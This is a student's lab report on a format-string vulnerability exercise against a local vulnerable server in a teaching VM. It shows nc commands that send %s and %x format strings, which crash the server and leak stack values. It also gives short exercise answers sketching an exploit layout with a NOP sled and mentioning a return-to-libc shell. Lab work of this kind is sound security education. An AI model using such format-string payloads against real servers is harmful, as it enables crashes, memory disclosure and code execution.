Jared Ren
2/17/20

Task 1.)

Sending badfile to the server

```
[02/20/20]seed@VM:~/Desktop$ nc -u 127.0.0.1 9090 < badfile
```

The server's execution. The content of badfile is just foo

```
[02/20/20]seed@VM:~/lab3$ sudo ./server
The address of the input array: 0xbffff0e0
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbffff088
hello
The value of the 'target' variable (after): 0x11223344
The ebp value inside myprintf() is: 0xbffff088
foo
The value of the 'target' variable (after): 0x11223344
```

Task 2)

Q1. address of region 1: 0xbffff05c address of region 2: 0x804880b address of region 3: 0xbffff0e0

Q2. The distance between the two is 84 in decimal.

Task 3)

Screenshot of command sent to the server

```
[02/21/20]seed@VM:~/lab3$ echo %s%s%s%s%s%s%s%s%s%s%s%s%s | nc -u 127.0.0.1 9090
```

Screenshot of server execution

```
[02/21/20]seed@VM:~/lab3$ sudo ./server
The address of the input array: 0xbffff0e0
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbffff088
Segmentation fault
[02/21/20]seed@VM:~/lab3$
```

Task 4)

Command sent to the server

```
[02/21/20]seed@VM:~/lab3$ echo %x%x%x%x%x | nc -u 127.0.0.1 9090
```

Server printing stack data

```
[02/21/20]seed@VM:~/lab3$ sudo ./server
The address of the input array: 0xbffff0e0
The address of the secret: 0x08048890
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbffff088
018b7ef0141b7fe96eb0
the address of msg 0xbffff05c
The value of the 'target' variable (after): 0x11223344
0x804880b
```

Exercises

6.5)

Fmt + offset = target address
Target address is moved to the return address of the format string method.

Format String to send: target address(separated into two byte blocks) four bytes of 0x40, then we need however many %.8x is needed to find the first address. Then N amount of x90 then (malicious code)

6.9) It's only a warning and not an error that prevents compilation.

6.10) Just because printf() doesn’t require privileges doesn’t mean that the vulnerability won’t be present if we decide to disable the programs privilege.

6.11) Making it non executable works, but we can do the return-to-libc attack to return to the system() function and run a shell.